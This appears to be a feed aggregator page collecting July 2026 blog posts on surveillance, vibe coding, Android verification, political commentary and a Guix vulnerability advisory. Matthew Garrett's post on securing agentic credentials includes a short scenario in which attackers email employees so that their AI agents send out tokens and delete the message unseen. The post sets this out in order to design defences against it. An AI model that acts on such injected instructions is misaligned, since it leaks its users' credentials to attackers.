The company gives police officers the ability to search that data as well, to “build stronger cases with less information upfront.” That includes being able to locate multiple vehicles law enforcement officials believe are moving together and what Flock calls a “multi geo search.”

This kind of thing is older than AI; I wrote about it in my 2014 book Beyond Fear. Edward Snowden revealed that the NSA was using cell phone location data to track phones that were habitually near each other.

As bad as Flock is, remember that anyone with broad access to cell phone location data can do the same thing.

10:42

Pluralistic: CARDiac, syntax coloring, view source and vibe code (03 Jul 2026) [Pluralistic: Daily links from Cory Doctorow]

->->->->->->->->->->->->->->->->->->->->->->->->->->->->-> Top Sources: None -->

Today's links



An insanely complex machine made up of many gears, troughs, water wheels, springs, screws, etc. It is housed in a brick building whose facade has been broken away. Three human figures labor to power the machine, turning cranks.

CARDiac, syntax coloring, view source and vibe code (permalink)

In the mid-1970s, my dad – then a budding computer scientist, subsequently a math teacher – brought home my first computer: the CARDiac, a Turing-complete, all-cardboard papercraft computer that you could write and execute programs on:

https://en.wikipedia.org/wiki/CARDboard_Illustrative_Aid_to_Computation

CARDiac stands for "CARDboard Illustrative Aid to Computation," and it was created in 1968 at Bell Labs as a way to teach high schoolers how computers worked. I wasn't anywhere near high school age (I think I was in third grade?) but the CARDiac was revelatory. The year before, I'd had access to a teletype terminal and acoustic coupler that let me operate a PDP machine at the University of Toronto, and I'd been endlessly fascinated with the possibilities. I wrote simple BASIC programs, chatted with ELIZA, and messaged other system users, one keystroke at a time, all on paper (the terminal didn't have a screen, just a printer, and we fed it 1,000' rolls of paper towels my mom brought home from her kindergarten classroom, which I then rolled back up so she could put them back in the bathroom for the kids to dry their hands on).

Interacting with a computer in real-time was captivating, but it wasn't until I assembled and used the CARDiac that it all snapped into place. With the CARDiac, you composed simple programs with pencil and paper, then followed instructions that directed you to move paper tokens in and out of various slots representing memory cells and an accumulator. All an electronic computer does is repeat these crude mechanical operations, millions of times per second, using microscopic transistors. None of that action can be observed with the naked eye, of course. If you had a very sensitive multimeter and a very good microscope, it's conceivable that you could indirectly watch this intricate dance, but only on very early processors, and only if you drastically slowed down their operations.

Much later, I learned a word for what I got from the CARDiac: legibility. Together, the CARDiac and I made a working digital computer, with me standing in for the physics that propels electrons down the endless labyrinth of a microchip, like a pinball triggering various blooping, beeping bumpers. Though the computing we performed was sub-trivial (adding one and one was a major undertaking!), the physical performance of that computing imbued me with Fingerspitzengefühl ("fingertip feeling"):

https://en.wikipedia.org/wiki/Fingerspitzengef%C3%BChl

This stood me in great stead in the years to come. To this day, when I think about my computer, I sometimes imagine those little cardboard tokens, shuffling in and out of the slits in my paper CARDiac. There's something very reassuring about this imagery. No matter how many levels of abstraction sit between me and the nanoscale transistors ranked in their billions beneath my fingertips, they are all undertaking those familiar operations I painstakingly performed on my child's desk all those years ago.

(This is one of the things that makes Science Comics Computers: How Digital Hardware Works such an amazing kids' book! By illustrating how a computer's operations are built up from simple boolean logic that can be represented as physical switches, the comic performs that same legibilizing magic that I got from the CARDiac:)

https://pluralistic.net/2025/11/05/xor-xand-xnor-nand-nor/#brawniac

Not long after my CARDiac experience, my dad brought home an Apple ][+, which came with a schematic that revealed the inner workings of the machine in ways that I found visually striking, if significantly less accessible than the CARDiac:

https://downloads.reactivemicro.com/Apple%20II%20Items/Hardware/II_&_II+/Schematic/Apple%20II%20Schematics.pdf

(For me, at least. For the legendary hardware hacker Andrew "bunnie" Huang, it was the start of a journey that turned him into one of the world's virtuoso reverse-engineers and science communicators):

https://pluralistic.net/2026/01/09/quantity-break/#so-many-chips

The Apple ][+ did very little when you took it out of the box. It came with a few floppies' worth of demo programs, and we bought a few more down at the local computer store, but most of the programs I ended up using with that machine were ones I typed in myself, from magazines I bought at the corner store (I spent half my magazine budget on Cracked, Mad and Crazy, the other half on computer magazines full of BASIC program listings).

Typing in a program, keystroke by keystroke, was another Fingerspitzengefühl-generating exercise. I wasn't much of a typist, so it was slow going, and of course I made a lot of typos. What's more, BASIC had already fragmented into several dialects by this point, so even a correctly typed program could fail to run until it had been adapted for the BASIC that shipped with the computer. Getting a program to run on my computer required me to hone my typing skills, but even more so, my problem solving skills.

After months of this, I (re-)invented the debugger, from first principles, coming up with lots of little tricks and gimmicks (many of them horribly inefficient) for identifying and solving my programs' errors. In later years, I had lots of opportunity to work with real debuggers, created and maintained by trained programmers who'd forgotten more than I would ever know about writing code, and my own cack-handed efforts to build my own version of their tools conferred a confidence and intuitive understanding that I could not have achieved otherwise. Figuring out the need for a debugger and then rolling my own (crude, inefficient) one made all debuggers more legible to me.

I think that "legibility" is an underrated trait. If a system is legible to you, then you have a superior basis for understanding it, improving it, and making it work again when it breaks down.

There's an old joke that goes, "physics is applied math; chemistry is applied physics, and biology is applied chemistry" (I've also heard versions that start with "math is applied philosophy" and carry on to "sociology is applied biology," etc). While this isn't entirely true, there's something profound in it: we understand and manipulate our complex reality by wrapping it in abstractions that package up a writhing, shuffling, vibrating machine inside a smooth, serene membrane with a sturdy and easily grasped handle. You could do chemistry using the tools of physics, but it would take hours to perform the kind of calculations a chemist does in seconds (just as it takes an eternity to add one and one with a CARDiac).

Nevertheless, there are times when it is useful for a biologist to think about chemical processes, and for a chemist to think about interactions at the level of physics, and for a physicist to do math. The membrane and the handle are essential, but sometimes you have to decap the sealed package and inspect and manipulate its internals directly. Problem solving, improvement and maintenance all require the ability to move up and down the stack of abstractions to figure out where to stick your probes and stage your interventions.

This is where legibility comes in. Interacting with physical processes improves your mental model. In Broad Band (a magisterial history of women in computing), Claire Evans talks about how the first programmers were women who did the "unskilled" labor of physically cabling components together, developing powerful Fingerspitzengefühl, with such high-fidelity, trans-abstraction mental models of the machines' operations that they became the world's best programmers and debuggers:

https://pluralistic.net/2021/02/13/data-protection-without-monopoly/#broad-band

My early adventures in programming were so powerful and instructive because nearly all the programs I interacted with on my Apple ][+ were written in BASIC (not just the ones I keyed in, but also the demo software and much of the packaged software we bought). That meant that I could get a listing of any program I was using, peeling open the membrane to look at the machinery underneath. I could even laboriously trace the operations of that program using my toy debugger. This, too, was legibility: the ability to flip between the effects of the running code, and the instructions themselves (and then to mentally map those instructions onto the movement of cardboard tokens in my CARDiac).

This affordance was repeated later on the early web, thanks to the "View Source" function that came built into every browser, acting as a velcro tab for the membrane that separated rendered web pages from their underlying instructions. In my early years as a web developer, I copied, pasted, adapted, probed and traced HTML in ways that would have been instantly recognizable to the younger me, keying in those BASIC programs and ripping apart the commercial software on my computer.

I read somewhere that the Bell Labs scientists who created the CARDiac were worried that, thanks to transistorization, the next generation of programmers wouldn't understand the physical, material processes that unfolded when their programs ran, and that this would mean a loss of legibility and intuition and Fingerspitzengefühl. I can't track down the reference now, but it stuck with me, because the CARDiac is such a perfect way of preserving those virtues.

Modern computer science curriculum includes some chip design for just this reason (just as chemists study physics and biologists study chemistry). But there are plenty of programmers – better programmers than I ever was or will be – who taught themselves and never had a CARDiac or gave much thought to chip design. They work at different layers of abstraction and in different ways to solve different problems. Maybe they could improve their art by tinkering with FPGAs, but there's always something even the most skilled artisan can do to round out and incrementally improve their craft.

In the same way, there are plenty of programmers – better ones than I ever was or will be – whose journey started at higher abstraction layers than a teletype terminal or a CARDiac. Maybe they started with a browser's View Source, teasing apart other people's Javascript to create weird Myspace customizations. Maybe they tweaked a programmable block in Minecraft. Maybe they modded a Scratch game. Or maybe they recorded macros using Applescript or Hypercard or Visual Basic to automate a routine task, only to later open up the source code generated by the macro recorder to make fine adjustments.

Whether you're pasting source from Stack Overflow or recording a macro in Excel, you are just one operation away from unwrapping the membrane and exposing the code beneath it. And with the modern internet, with Wikipedia, with endless tutorial videos, you are one further operation from penetrating the high level code to get at the code beneath it, and the code beneath that, and the code beneath that, all the way down to the bare metal.

Which brings me to vibe coding. As I've written, there's a world of difference between writing code for production and writing "personal software" that solves a problem you have. Whatever deficits that code has (due to the fact that you're not a skilled programmer) are offset by the fact that you're the one making the tool (which means your needs aren't lossily filtered through a programmer's understanding of those needs):

https://pluralistic.net/2026/06/15/vernacular/#hypercardian

There's nothing wrong with code that solves your problem, even if you don't know how that code works, even if it breaks in a couple of years, even if no one else could maintain, extend or debug that code. Personal software is fundamentally different from software made to be used and maintained by others:

https://pluralistic.net/2026/07/02/canonization/#operate-iterate-improve

Higher-level abstractions are necessary. Moving tokens between the slits in a CARDiac is a powerful exercise, but eventually you want to do something more substantial than adding one and one, and so you need to package up the mechanics of computing inside a membrane with an easily grasped handle (knowing that you can always open the membrane if need be).

The more automated code you generate – macros, pasted Javascript, Minecraft blocks – the greater the likelihood that you will be failed by a readymade, prefab component. At that point, you have means, motive and opportunity to open the membrane and start tinkering with the internals, and every time you do, you have a better chance of making a realization that improves your grasp on the whole system.

Automated code – whether from an LLM, View Source, Stack Overflow, or a macro recorder – is the top of a funnel. Many – most – of the people who enter the funnel won't slip further down the abstraction chute. They'll solve their problem (a virtue unto itself!) and move on. But the more people we put at the top of the funnel, the more chances our civilization gets to produce another skilled artisan who understands and can improve, iterate and repair the code the rest of us use.


Hey look at this (permalink)



A shelf of leatherbound history books with a gilt-stamped series title, 'The World's Famous Events.'

Object permanence (permalink)

#20yrsago What real elections can learn from reality TV voting https://henryjenkins.org/2006/07/democracy_big_brother_style_1.html

#20yrsago Veteran print journo on neglected demographics http://citmedia.org/blog/2006/07/03/guest-posting-is-media-performance-democracys-critical-issue/

#10yrsago One of the copyright’s scummiest trolls loses his law license https://fightcopyrighttrolls.com/2016/07/03/prendas-hansmeier-stipulates-to-suspension-of-his-law-license/

#10yrsago Macedonia’s Colorful Revolutionaries defy the state by splashing paint on government buildings and monuments https://globalvoices.org/2016/07/03/defying-police-harassment-the-macedonian-colorful-revolutionaries-continue-to-chant-freedom/

#10yrsago Trump and Brexit are like lotto tickets: the more unrealistic, the better https://www.irishtimes.com/news/world/europe/fintan-o-toole-brexit-and-the-politics-of-the-fake-orgasm-1.2707398

#10yrsago Low income US households get $0.08/month in Fed housing subsidy; 0.1%ers get $1,236 https://web.archive.org/web/20160702151008/https://www.thenation.com/article/who-benefits-most-from-housing-subsidies-the-wealthy/

#5yrsago The future is symmetrical https://pluralistic.net/2021/07/03/beautiful-symmetry/#fibrous-growth

#1yrago Trump's not gonna protect workers from forced labor https://pluralistic.net/2025/07/03/states-rights-trumps-wrongs/#mamdani


Upcoming appearances (permalink)

A photo of me onstage, giving a speech, pounding the podium.



A screenshot of me at my desk, doing a livecast.

Recent appearances (permalink)



A grid of my books with Will Stahle covers..

Latest books (permalink)



A cardboard book box with the Macmillan logo.

Upcoming books (permalink)

  • "The Post-American Internet," a geopolitical sequel of sorts to Enshittification, Farrar, Straus and Giroux, 2027
  • "Unauthorized Bread": a middle-grades graphic novel adapted from my novella about refugees, toasters and DRM, FirstSecond, April 20, 2027

  • "Enshittification, Why Everything Suddenly Got Worse and What to Do About It" (the graphic novel), Firstsecond, 2027

  • "The Memex Method," Farrar, Straus, Giroux, 2027



Colophon (permalink)

Today's top sources:

Currently writing: "The Post-American Internet," a sequel to "Enshittification," about the better world the rest of us get to have now that Trump has torched America. Fourth draft completed. Submitted to editor.

  • A Little Brother short story about DIY insulin PLANNING

This work – excluding any serialized fiction – is licensed under a Creative Commons Attribution 4.0 license. That means you can use it any way you like, including commercially, provided that you attribute it to me, Cory Doctorow, and include a link to pluralistic.net.

https://creativecommons.org/licenses/by/4.0/

Quotations and images are not included in this license; they are included either under a limitation or exception to copyright, or on the basis of a separate license. Please exercise caution.


How to get Pluralistic:

Blog (no ads, tracking, or data-collection):

Pluralistic.net

Newsletter (no ads, tracking, or data-collection):

https://pluralistic.net/plura-list

Mastodon (no ads, tracking, or data-collection):

https://mamot.fr/@pluralistic

Bluesky (no ads, possible tracking and data-collection):

https://bsky.app/profile/doctorow.pluralistic.net

Medium (no ads, paywalled):

https://doctorow.medium.com/

Tumblr (mass-scale, unrestricted, third-party surveillance and advertising):

https://mostlysignssomeportents.tumblr.com/tagged/pluralistic

"When life gives you SARS, you make sarsaparilla" -Joey "Accordion Guy" DeVilla

READ CAREFULLY: By reading this, you agree, on behalf of your employer, to release me from all obligations and waivers arising from any and all NON-NEGOTIATED agreements, licenses, terms-of-service, shrinkwrap, clickwrap, browsewrap, confidentiality, non-disclosure, non-compete and acceptable use policies ("BOGUS AGREEMENTS") that I have entered into with your employer, its partners, licensors, agents and assigns, in perpetuity, without prejudice to my ongoing rights and privileges. You further represent that you have the authority to release me from any BOGUS AGREEMENTS on behalf of your employer.

ISSN: 3066-764X

Operator error [Seth's Blog]

“I blame myself.”

Said no one, ever. At least not the consumers I know.

When a careless woodworker loses a digit on a table saw, they almost certainly blame the design and instructions of the device, not their lack of care.

On a less gruesome note, the user who fails to read the website before ordering, the instructions before using, or the interface before clicking is unlikely to associate good things with an interaction that failed because of their own lack of care.

The more people interact with you, the more your brand and reputation are at risk.

There are three sorts of operator errors to consider:

  1. The design of your product or the power of your service allows people to do something they’ll later regret.
  2. Confusion in the user experience permits avoidable errors to occur.
  3. You surprise users by amplifying their choice and impact when they aren’t prepared or qualified.

One alternative is to prepare your responses and excuses in advance. “Buyer beware!” “RTFM!” “Sorry.”

It might be more productive to limit how people interact with your products and services. To design operator error out of the process. A few people saying, “it didn’t let me do everything I wanted, the way I wanted,” is better than, “it let me break it (or me).”

Letting your clients fail may give them a sense of agency, but it might not be the best way to make the impact you seek with your work.

Great design leads to a better user experience. And “No.” is a complete sentence.

08:42

Returnal [Penny Arcade]

New Comic: Returnal

05:49

Girl Genius for Friday, July 03, 2026 [Girl Genius]

The Girl Genius comic for Friday, July 03, 2026 has been posted.

02:21

Matthew Garrett: Securing agentic identity [Planet Debian]

As is the case for many people working in the security industry, the last few months of my life have been focused on dealing with people wanting to use LLMs everywhere. From an enterprise security perspective that’s not an inherent problem - what’s more of a problem is that people want those agents to have access to resources like their calendar and email and so on, and now we have somewhat non-deterministic agents that seem very enthusiastic to achieve what you asked whether that’s a good idea or not, and we’re combining this with credentials that give them access to sensitive data, and leaving those credentials on disk where they can be committed into git repos or exfiltrated to some other service to make use of them on the agent’s behalf or well just any other number of things, at which point your CEO’s email is suddenly readable by everyone and you’re having a bad day.

As I mentioned in my last post, pretty much every strong mechanism for keeping credentials in place is just not supported in the wider world. We can imagine a universe where agents use hardware (or at least hypervisor) backed certificates to obtain credentials and any that end up leaking are worthless as a result. But, sadly, that’s not an option for most people using existing identity providers. The state of the art is that you use the device code flow and a human authenticates and the token ends up back inside the agent environment and then it proceeds to do whatever it wants with it and you just hope that you wake up the next morning without an awful infoleak occurring.

(An aside: I do not like the device code flow as used in enterprise environments, and I never will. The identity provider doesn’t have a real opportuity to inspect the security posture of the system asking for the token, and as a result some identity providers will restrict tokens that are issued in this way. The common alternative of doing stuff using a more standard flow and having a redirect URI pointing at localhost works fine for local systems and is a pain for remote ones, even if you can commit crimes with SSH forwarding. I’m going to suggest something that I think is better, and you are free to disagree)

I’m not in a position to get every identity provider and service provider to change their security posture, so I’m somewhat stuck in terms of the tokens they’re willing to issue me - largely either JWTs or opaque access tokens, with no support for any mechanism of binding that token to an instance. The token that’s going to have to be provided to the remote service is something I have little influence over. But that doesn’t mean I can’t influence the token that lands inside the agent’s environment. I can issue a placeholder token to the agent, and force it to communicate via a proxy that swaps out the placeholder for the real thing. The worst the agent can do is exfiltrate the placeholder token, and as long as malicious actors don’t have access to that proxy, it doesn’t matter - nobody else can do anything with the placeholder.

This isn’t a terribly novel insight, and it seems like almost everybody has reinvented this on their own. But a lot of these implementations involve you somehow obtaining the real token in advance and then pasting that into something that generates a placeholder that you provide to your agent environment somehow, and it’s all a bit clunky and awkward, and it also means that you need to deal with something that keeps track of the mapping between placeholders and real tokens and oh no we’ve just invented a secret store, and if you want this to work at scale and reliably you’re just invented a high availability distributed secret store, and a lot of people who’ve read that are now shaking their heads and reaching for gin. Can we simplify this, and improve security at the same time? I think we can!

Remember when I said “as long as malicious actors don’t have access to that proxy, it doesn’t matter”? What if they do? What if they compromise one machine inside your environment and are then able to email a bunch of employees and convince their agents to send more tokens back to them and then delete the email before a human reads it? Now you have someone inside the wall with access to those tokens, and presumably with access to the proxy, and now they can be anyone whose agent was gullible enough to think sending them a token was a good idea. This isn’t good!

So, I thought for a while, and I came up with a new idea. We can have a broker service that obtains credentials for us. We can run that centrally, away from the agents. A client in an agentic environment can request a token, and that can result in a URL being generated and the user being directed to open a URL in a browser and authenticate. When the user authenticates, the authentication flow redirects the confirmation back via the broker, and the broker obtains the real auth token. The obvious thing to do now would be to return the auth token to the client in the agentic environment, but we don’t do that. Instead, we mint a new JWT, and add a new claim - one that contains an encrypted copy of the token. In the process we can copy over all the original claims, because those aren’t secret - and now even if the client inspects the token to figure out what access it has, it’ll get a correct answer. We sign the new token with our own signing key, and pass that back to the client. The client now has a legitimate JWT that is utterly useless, because the signature isn’t trusted by anyone other than us.

How does it use it? It makes an API request via a proxy, including the new token in the Authorization: header. The proxy verifies the signature on the token, and then decrypts the original token and swaps out the fake token for the real one. The remote API sees what it expects, and everyone is happy. There’s never a real token in the agentic environment, but also we don’t need to store anyting anywhere. The only state is the encryption keys, and those can be injected into the environment at startup. You need to scale? Just start more of these processes. You need to support multiple availability zones? Just start more of these processes in different places. No persistent data is ever held in the broker or the proxy. You don’t need to care about distributed databases or secret stores.

This felt wonderfully elegant and I felt smug about coming up with a better idea, and then I went to a bar earlier this week and sat down to read RFC 8705 and the guy next to me saw that over my shoulder and asked what I was reading and I explained why I was interested and we talked about agentic identity and then he mentioned that fly.io had something that sounded very similar and I read that and gosh yes it is very similar, so damn you fly.io for stealing my ideas 3 years before I even had them. Anyway. Now I need to do better.

Remember that there’s still a risk around anyone who has access to the proxy having access to the encrypted keys? We can remove that risk as well. It’s not uncommon for agentic environments to have an identity issued via something like SPIFFE, at which point they have a client certificate. You can probably guess where I’m going with this. If we require that an agent present a client cert to the broker when requesting a token, we can embed a representation of that client cert into the token we mint. The proxy can then require mTLS for the client connection, and can verify that the presented certificate matches the one represented in the token. If it does then whoever’s using the token has access to the private key associated with the environment it was issued to. If we then ensure that the private keys backing these certificates are either hardware or hypervisor backed, and as such tied to a specific instance, we now have a high degree of confidence that the token can only be used in its intended environment. Even if our identity provider doesn’t support RFC 8705, we can.

This is fairly straightforward where you’re using a platform where your identity provider is also the environment that’s consuming your tokens, and more annoying for third parties. The broker potentially needs some amount of third party vendor knowledge to make that work for everyone. This is even more the case where login isn’t via your identity provider (thanks, github), but none of this is insurmountable - just annoying. And where vendors issue opaque tokens rather than JWTs, this still isn’t a problem; we can just mint a new JWT that includes the opaque token as an encrypted claim, and include the same certificate binding. The opaque token ends up being the thing that’s presented to the third party, but only after we’ve verified the mTLS binding.

In an ideal world none of this would be necessary - someone would spin up a new agentic environment, a user would prove their identity, and a certificate embodying that identity would be issued to the environment with a private key that can’t be exfiltrated. That certificate would be sufficient to obtain new certificates associated with the same private key, and we could still bind that into mTLS identity. This would be much simpler, but browsers don’t support it, so it’s not likely to happen any time soon.

Anyway. Even if we can’t have the best thing, we can do better than we are at the moment, and also it would be lovely if we could standardise on this rather than have everyone build their own thing. The end.

00:49

Android is almost dead [OSnews]

The clock is ticking for Android as a (somewhat) open platform.

If you are running Android 8 or higher, a virus has been installed on your device and is silently awaiting remote activation. Over the past few months, devices around the world have been infected with this novel strain, with as many as 4 billion Android handsets and tablets estimated to have already been contaminated, meaning that around half of all humanity may be at risk from this threat.

Disguising itself as the innocuously-titled “Android Developer Verifier” (ADV) process, this trojan horse runs surreptitiously in the background as a system service with full root privileges, quietly awaiting an activation signal. The service cannot be blocked, disabled, or removed. Unlike a commonplace bit of malware, this extraordinary strain won’t be detected and neutralized by Play Protect (the malware scanning and remediation service that is installed on all Android Certified devices). In fact, Play Protect is itself the vector through which this virus is transmitted and installed.

That is because it is Google themselves who is propagating ADV. And once activated, this malevolent process has exactly one goal: to block you from running software by developers who haven’t been approved centrally by Google.

↫ The F-Droid news website

If nobody steps up, if no regulator takes on Google in this matter, we could very well be looking at the end of F-Droid and similar open source application repositories on Android. I use F-Droid, and in fact, one of the most important and most-used application on my Pixel 10 Pro comes from F-Droid: Fennec. This Firefox fork is not available through any Google-sanctioned means, and I could just wake up one day and have the browser on what is supposed to be my phone stop working.

Age verification, tying crucial services to iOS and Google Android, killing the ability to install your own software on your phone, purposefully making people hopelessly addicted to and dependent on “AI”, and so much more – we’re facing a multi-pronged attack designed to beat us into submission and give up on the idea of Free computing. I have to admit I’ve lost all hope we’ll be able to win this battle, as the combined interests of technology megacorporations and our own governments are just too powerful to fight.

I feel like we’re living in the computing end times.

00:07

Children from all countries exposed to climate hazards [Richard Stallman's Political Notes]

* Unicef analyzed young people's exposure to eight climate hazards: coastal floods, droughts, extreme heat, fires, heatwaves, river floods, sand and dust storms, and tropical storms… Almost every child, including those from high-income countries, is now exposed to at least one hazard.*

Governor Newsom accuses government of trying to smear him [Richard Stallman's Political Notes]

Governor Newsom accuses the US government of investigating him and his wife hoping to find something to smear him with, because he plans to run for president in 2028.

I do not support Newsom, because he is a plutocratist "moderate" democrat , one who does not seek to do anything about the problem of super-rich people who endanger democracy and human rights.

West Bank products mislabeled [Richard Stallman's Political Notes]

Shipments of products made in Israel's colonies in the West Bank are systematically mislabeled as "Made in Israel" to take fraudulent advantage of trade preferences for exports of Israel's products.

Iranian repression police shooting protesters [Richard Stallman's Political Notes]

Iranian repression police made a practice of shooting protesters in the face, chest or genitals. Often this caused grave injuries, or death.

Chikungunya can easily spread in most of Europe [Richard Stallman's Political Notes]

Due to our greenhouse gas emissions, chikungunya can now spread in most of Europe.

Many "tropical" diseases are, or will be in a few decades, able to spread in the formerly temperate zones.

Excavators used by Israeli military [Richard Stallman's Political Notes]

* The Guardian geolocated and verified images showing the Israeli military using excavators made by six companies – Caterpillar, Volvo, Hyundai, Doosan, Hitachi and Komatsu – to destroy homes, public utilities, shops and other structures across southern Lebanon.*

Wrecker not convincing public increased fossil fuel use is safe [Richard Stallman's Political Notes]

The wrecker is going all-out to increase the use of fossil fuels, but is not convincing the American public that that is safe.

*Two-thirds of Americans say they are worried about climate but level of media coverage does not reflect this.*

I don't think the wrecker cares about the danger of global climate disaster, only about rewarding the planet roasters to keep them in his corner. They all deserve to end up broke and experience living on however much support the US provides to the poor.

Muskrat's cars-in-tunnels "mass transit" [Richard Stallman's Political Notes]

The muskrat's fabulous cars-in-tunnels "mass transit" seems to be unable to serve many people, but it is an opportunity to disregard environmental planning regulations with impunity and serve real estate owners rather than the public.

Corrupter cutting losses in war with Iran [Richard Stallman's Political Notes]

It seems the corrupter has decided to cut his losses in the gratuitous (and unwinnable) war with Iran. For once he has approached a situation in a way that does his country a little good, though it is far less than the harm he has done in relations with Iran over the past year. Meanwhile, he found no way to fix the problem that he gratuitously created when he cancelled Obama's non-nuclear deal with Iran.

He will salvage something from this idiocy, though -- some way to increase profits for some of his billionaire supporters.

Commercially sold cannabis increases number of users [Richard Stallman's Political Notes]

* Decriminalizing the possession of cannabis or strictly regulating access to the drug do not appear to drive up usage, but when the drug is sold commercially the number of users increases and more mental health problems are seen, a review has found.*

Illinois law to compensate former black residents [Richard Stallman's Political Notes]

Evanston, Illinois, passed a law to compensate former black residents whose ancestors lived in Evanston and experienced the systemic housing discrimination.

I know of three ways n which where the US government and its sub-jurisdictions denied blacks equal rights under the law: slavery, Jim Crow segregation (in some states), and discrimination in housing assistance in part of the 20th century. These were direct policies of discrimination carried out by governments, and those governments are liable for injustice of these racist laws.

Since such harm tends to be inherited by successive generations of descendants of the victims, it is right and proper for the governments that committed those wrongs to pay compensation to today's Americans whose ancestors were wronged.

I can't tell from the article precisely what the conditions are for receiving compensation in Evanston. If they are formulated as being on account of a person's race, that may be discriminatory and unjust. But if they are formulated as being on account of past discrimination against a person's ancestors (done because of their race), that is not discrimination today. The discrimination in question was the racism of the past, and compensation has to compensate the descendants of those selected as victims of racism.

The first article linked to, above, displays symbolic bigotry by capitalizing "black" but not "white". (To avoid endorsing bigotry, capitalize both words or neither one.) I denounce bigotry, and normally I will not link to articles that practice it. But I make exceptions for some articles because I consider them important — and I present this comment about them.

Arbitrary criminalization of stating support for Palestine Action [Richard Stallman's Political Notes]

A British appeals court sustained the arbitrary criminalization of stating support for Palestine Action.

A few more levels of appeal are possible, but Stormer's government is dead set on repression of criticism where it counts.

Expensive electricity killing British industry [Richard Stallman's Political Notes]

"Expensive electricity is killing British industry" — but subsidizing energy made from fossil fuels is killing civilization.

The UK government should look for a way to subsidize the customers for energy, but not subsidize fossil fuel or electricity made from that. We must maintain the incentive to use less fossil fuel. There are other ways to keep industrial production going.

Bullshitter acknowledged points about Israel [Richard Stallman's Political Notes]

The bullshitter has acknowledged important points, such as that Israel wages war in ways that gratuitously kill civilians, and that Netanyahu's wars are unjust and bad for US interests.

Does this mean the bullshitter has had a change of heart? I doubt it; he has gone so long without a heart that he surely doesn't have one now. I think he is simply applying to Israel and Netanyahu the approach he has used with so many others: to contradict himself frequently and change positions so fast that negotiators accustomed to serious negotiations can't grasp what is happening.

I am not sure this will confuse Netanyahu, though. He seems to practice a similar approach.

Iran now demands that Israel withdraw its army from Lebanon or there will be no peace deal.

Maybe the new maximum leader believes he dominates the wrecker so much that he can demand anything whatsoever and get it. Or maybe he is bluffing.

With so much readiness to bluff, it will be hard for them to reach an agreement even if there is an agreement to be reached.

How surveillance companies are allowed to track students and parents [Richard Stallman's Political Notes]

Explaining how surveillance companies recruit schools, classes and teachers to pressure students and their parents into giving their personal data to the companies, and allowing those companies to track the students and parents.

I suspect that refusing to run anything from Google Prey Store or the Crapple Crap Store will keep them from tracking you. But protecting students in school calls for a law prohibiting schools from ever asking students to run nonfree programs or hosting activities that do so.

AT&T accused of lying to FCC [Richard Stallman's Political Notes]

California has accused AT&T of lying to the FCC to get permission to eliminate old copper land lines in California.

Alas, the corrupter encourages the FCC to accept lies from big companies that do things to please him.

How cruel tyranny engulfed Turkey [Richard Stallman's Political Notes]

Turkish journalist Ece Temelkuran writes about how cruel tyranny engulfed Turkey, in the process of which threats of violence forced her into exile. And about what it is like to lose your country to that political disease.

00:00

WinPE as a stateless harness for Windows driver testing and fuzzing [OSnews]

What if you need to do very low-level testing involving the very guts of Windows NT, but don’t need most of the userland that sits on top? In fact, what if that userland only slows you down and complicates the work you’re trying to do?

The solution is Windows PE (Windows Preinstallation Environment). It is an official, stripped-down environment distributed with every Windows ISO image. It runs entirely in RAM, requires as little as 512 MB of memory, and lacks support for DirectX, the PowerShell subsystem, or the standard graphical shell (Explorer). Booting by default with NT AUTHORITY\\SYSTEM privileges makes it an ideal test harness for both of these tasks.

The following analysis focuses on the low-level mechanisms of WinPE, as well as BCD and QEMU modifications that allow transforming this system into an ultra-fast, idempotent testing environment.

↫ Piotr Bednarski

Now, the kind of work Bednarski does isn’t the most common of tasks, but I’ve often wondered just how far you can get by bolting on whatever WinPE will allow you to. There were various unofficial third-party tools that built Windows live CDs based on WinPE, but I think most of those have died out by now. If you look hard enough, you can also find some other utilities people made for WinPE, including even some rudimentary web browsers. Regarding web browsers, modern efforts seem to run into issues.

WinPE is not really meant for any advanced functionality, but I really do wonder how capable you can make it without turning it into regular Windows.

M/PC: a concatenative operating system for Varvara [OSnews]

M/PC is a concatenative operating system for Varvara, inspired by Openfirmware, designed to manage files on system without a file browser. It uses the postfix notation, meaning that the function success their operands.

↫ M/PC website

I’m not going to pretend to really understand what any of this means.

Thursday, 02 July

22:49

‘guix substitute’ and ‘guix pull’ Vulnerabilities [Planet GNU]

Several security issues (CVE IDs pending) have been identified in guix substitute, a helper utility invoked by guix-daemon, which enable a variety of harmful activities including remote privilege escalation to the build daemon user, remote store corruption, and potentially local disclosure of sensitive files accessible to the build daemon user. All systems are affected, whether or not guix-daemon is running with root privileges; the harm that can be done when guix-daemon runs without root privileges is more limited. You are strongly advised to upgrade your daemon now (see instructions below), carefully considering whether to pass --no-substitutes to all guix commands when you do so (see note in Upgrading section).

The remote exploitation of guix substitute only requires that the vulnerable system attempt to download a binary substitute. Any configured substitute server, including ones discovered using guix-daemon's --discover option, can exploit this, and so can a man-in-the-middle (MITM), regardless of whether https is used in the substitute server urls.

The local exploitation of guix substitute only requires the ability to connect to guix-daemon's socket, which by default any user can do.

Separately, another security issue (CVE ID pending) was identified in guix pull and guix time-machine, which enables anyone who can control the channels file used by these commands to cause a file to be created or overwritten wherever the user running the command in question has permission to create them. This is possible regardless of whether the channels file is evaluated in a sandbox and whether the channels used are limited to those sharing an introduction with a trusted channel. Due to limitations on the content of the created or overwritten file, this primarily represents a denial-of-service risk, though in theory it could do more.

Vulnerabilities

Three distinct vulnerabilities have been identified affecting guix substitute, with a fourth affecting guix pull and guix time-machine:

  1. (CVE assignment pending) The procedure that Guile code uses to unpack substitutes, restore-file in (guix serialization), was not hardened against malicious input, but it was called to extract the substitute being downloaded as it was being downloaded, rather than waiting until after the entire archive had been obtained and its hash had been verified. These facts together make it possible for any substitute server (or any entity that can impersonate one) to write arbitrary files to any place on an affected system that the daemon user has permission to write to. In the case of the daemon running as root, that includes /etc/passwd.

    To avoid depending on the X.509 Public Key Infrastructure, the procedure that fetches metadata about available substitutes (called narinfos), fetch-narinfos, does not verify server certificates, since the canonical parts of narinfos need to be signed anyway to be considered valid. Unfortunately the substitute URL is not one such canonical part, and so it can be replaced with an attacker-controlled URL. If the substitute downloaded doesn't match the signed hash in the narinfo, it will be rejected, but by then it is too late: the substitute was extracted as it was being downloaded, so the damage is already done.

    This means that even though download-nar, the procedure responsible for actually downloading the substitute, does itself verify server certificates, using https in substitute server urls cannot limit who can exploit this, as the certificate only needs to be appropriate for the attacker-controlled URL.

    restore-file is also used by other utilities, including guix offload, guix archive --extract, and guix challenge. These can all be exploited in the same way if untrusted input is given to them.

